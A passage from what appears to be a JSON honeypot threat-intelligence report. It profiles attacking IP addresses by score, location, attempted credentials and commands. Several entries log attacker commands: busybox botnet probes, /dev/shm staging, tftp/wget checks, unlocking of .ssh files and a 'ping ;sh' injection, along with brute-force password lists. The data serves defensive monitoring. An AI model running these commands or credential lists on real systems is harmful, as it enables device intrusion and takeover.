        "last_seen_30d": "2026-04-12T15:47:03.571000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 18
      }
    },
    "35.87.1.37": {
      "attack_count": 32,
      "first_seen": "2026-04-14T19:58:49.649Z",
      "last_seen": "2026-04-14T19:58:57.183Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T19:58:49.649000+00:00",
        "last_seen_30d": "2026-04-14T20:00:04.841000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "172.94.9.157": {
      "attack_count": 28,
      "first_seen": "2026-04-10T12:49:30.935Z",
      "last_seen": "2026-04-15T17:10:49.816Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech123.",
        "Kelltech1234!",
        "Kelltech2019#",
        "Kelltech2020",
        "p@ssw0rd@2025"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:49:30.935000+00:00",
        "last_seen_30d": "2026-04-15T17:11:56.574000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "184.105.247.254": {
      "attack_count": 28,
      "first_seen": "2026-04-07T08:54:23.710Z",
      "last_seen": "2026-04-30T04:47:34.532Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99  Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T01:15:44+00:00",
        "last_seen_30d": "2026-04-30T09:24:32.964000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 265,
        "Honeytrap": 117,
        "Cowrie": 28,
        "Redishoneypot": 22,
        "H0neytr4p": 11,
        "Miniprint": 9,
        "Dionaea": 6,
        "Adbhoney": 2,
        "ConPot": 2
      }
    },
    "77.90.185.238": {
      "attack_count": 28,
      "first_seen": "2026-04-10T12:52:51.017Z",
      "last_seen": "2026-04-15T17:16:47.114Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "Kelltech.123",
        "Kelltech.1234",
        "Kelltech1#",
        "Kelltech123!@#",
        "password1234"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:52:51.017000+00:00",
        "last_seen_30d": "2026-04-15T17:17:50.927000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "102.102.213.54": {
      "attack_count": 24,
      "first_seen": "2026-04-24T20:27:27.717Z",
      "last_seen": "2026-04-24T20:44:08.102Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T20:27:27.717000+00:00",
        "last_seen_30d": "2026-04-24T20:45:25.002000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "197.244.14.216": {
      "attack_count": 24,
      "first_seen": "2026-04-26T19:25:19.409Z",
      "last_seen": "2026-04-26T19:45:37.587Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Tunis",
      "asn": 37705,
      "as_org": "TOPNET",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:25:19.409000+00:00",
        "last_seen_30d": "2026-04-26T19:46:43.362000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "219.78.212.97": {
      "attack_count": 24,
      "first_seen": "2026-04-13T11:01:35.370Z",
      "last_seen": "2026-04-13T11:01:38.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "supervisor"
      ],
      "passwords_attempted": [
        "1234",
        "anko",
        "juantech",
        "pass",
        "zyad1234"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox KGEBM",
        "cat /proc/mounts; /bin/busybox KGEBM",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KGEBM",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox KGEBM",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T11:01:35.370000+00:00",
        "last_seen_30d": "2026-04-13T11:02:48.280000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 2
      }
    },
    "115.68.89.206": {
      "attack_count": 23,
      "first_seen": "2026-04-27T04:50:18.763Z",
      "last_seen": "2026-04-27T04:50:24.118Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Wy123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:50:18.763000+00:00",
        "last_seen_30d": "2026-04-27T04:51:31.318000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "190.2.135.111": {
      "attack_count": 20,
      "first_seen": "2026-04-22T19:28:09.955Z",
      "last_seen": "2026-04-22T19:30:56.508Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-22T19:28:09.955000+00:00",
        "last_seen_30d": "2026-04-26T18:47:52.880000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 14,
        "Honeytrap": 1
      }
    },
    "86.244.193.47": {
      "attack_count": 20,
      "first_seen": "2026-04-28T11:57:44.341Z",
      "last_seen": "2026-04-28T12:12:04.723Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Tours",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:57:44.341000+00:00",
        "last_seen_30d": "2026-04-28T12:13:09.370000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "88.121.71.77": {
      "attack_count": 16,
      "first_seen": "2026-04-26T18:47:49.239Z",
      "last_seen": "2026-04-26T18:56:01.951Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Nice",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:47:49.239000+00:00",
        "last_seen_30d": "2026-04-26T19:06:51.597000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "158.51.96.38": {
      "attack_count": 15,
      "first_seen": "2026-04-28T17:35:09.348Z",
      "last_seen": "2026-04-28T17:35:18.087Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 397270,
      "as_org": "NetInformatik Inc.",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T17:35:09.348000+00:00",
        "last_seen_30d": "2026-04-28T17:36:27.138000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "120.236.153.235": {
      "attack_count": 14,
      "first_seen": "2026-04-13T18:38:57.619Z",
      "last_seen": "2026-04-13T18:40:29.477Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T18:38:57.619000+00:00",
        "last_seen_30d": "2026-04-13T18:42:28.501000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "47.245.139.86": {
      "attack_count": 13,
      "first_seen": "2026-04-30T16:48:59.572Z",
      "last_seen": "2026-04-30T16:49:40.371Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 69.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-08T15:40:08.520000+00:00",
        "last_seen_30d": "2026-04-30T16:50:49.844000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 13,
        "Honeytrap": 12,
        "Ciscoasa": 3
      }
    },
    "71.6.134.234": {
      "attack_count": 13,
      "first_seen": "2026-04-18T07:44:02.917Z",
      "last_seen": "2026-04-18T08:15:09.632Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 468,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T00:13:27.305000+00:00",
        "last_seen_30d": "2026-04-30T16:28:40.109000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 318,
        "Honeytrap": 105,
        "Miniprint": 22,
        "Cowrie": 13,
        "ConPot": 4,
        "Dionaea": 4,
        "Ipphoney": 2
      }
    },
    "123.11.73.85": {
      "attack_count": 10,
      "first_seen": "2026-04-06T05:43:12.013Z",
      "last_seen": "2026-04-06T05:44:16.501Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:43:12.013000+00:00",
        "last_seen_30d": "2026-04-06T05:45:24.680000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "222.141.116.231": {
      "attack_count": 10,
      "first_seen": "2026-04-11T17:33:21.771Z",
      "last_seen": "2026-04-11T17:34:26.226Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T17:33:21.771000+00:00",
        "last_seen_30d": "2026-04-11T17:35:28.938000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "154.124.109.113": {
      "attack_count": 9,
      "first_seen": "2026-04-01T23:09:34.764Z",
      "last_seen": "2026-04-01T23:10:37.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "enable",
        "linuxshell",
        "shell"
      ],
      "passwords_attempted": [
        "meinsm",
        "ping ;sh",
        "sh",
        "system"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T23:09:34.764000+00:00",
        "last_seen_30d": "2026-04-01T23:11:40.714000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 1
      }
    },
    "122.193.10.205": {
      "attack_count": 8,
      "first_seen": "2026-04-14T22:43:31.742Z",
      "last_seen": "2026-04-14T22:45:15.269Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T22:43:31.742000+00:00",
        "last_seen_30d": "2026-04-14T22:46:21.835000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "13.89.124.219": {
      "attack_count": 7,
      "first_seen": "2026-04-22T04:58:25.128Z",
      "last_seen": "2026-04-22T04:58:35.129Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 76.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 25,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 30,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:56:26+00:00",
        "last_seen_30d": "2026-04-30T18:53:15.593000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 9,
        "Cowrie": 7
      }
    },
    "20.221.68.115": {
      "attack_count": 7,
      "first_seen": "2026-04-09T06:06:20.093Z",
      "last_seen": "2026-04-09T06:06:30.094Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 18.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 22,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T12:49:16.947000+00:00",
        "last_seen_30d": "2026-04-22T18:36:15.805000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 8,
        "Cowrie": 7,
        "H0neytr4p": 2
      }
    },
    "92.60.40.195": {
      "attack_count": 7,
      "first_seen": "2026-04-29T22:34:38.877Z",
      "last_seen": "2026-04-29T22:46:46.576Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "maintrae"
      ],
      "passwords_attempted": [
        "asdftracedog12!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 43357,
      "as_org": "Owl Limited",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T22:34:38.877000+00:00",
        "last_seen_30d": "2026-04-29T22:47:55.661000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "157.245.129.121": {
      "attack_count": 6,
      "first_seen": "2026-04-02T14:16:21.807Z",
      "last_seen": "2026-04-02T14:16:22.488Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T14:16:21.807000+00:00",
        "last_seen_30d": "2026-04-02T14:17:31.500000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "205.210.31.12": {
      "attack_count": 6,
      "first_seen": "2026-04-05T17:28:15.204Z",
      "last_seen": "2026-04-14T16:56:11.723Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.1,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 21,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T02:34:34+00:00",
        "last_seen_30d": "2026-04-23T21:48:54.963000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 17,
        "Cowrie": 6
      }
    },
    "49.228.120.224": {
      "attack_count": 6,
      "first_seen": "2026-04-01T02:46:29.498Z",
      "last_seen": "2026-04-01T02:46:40.460Z",
      "sessions": 1,
      "ports": [],
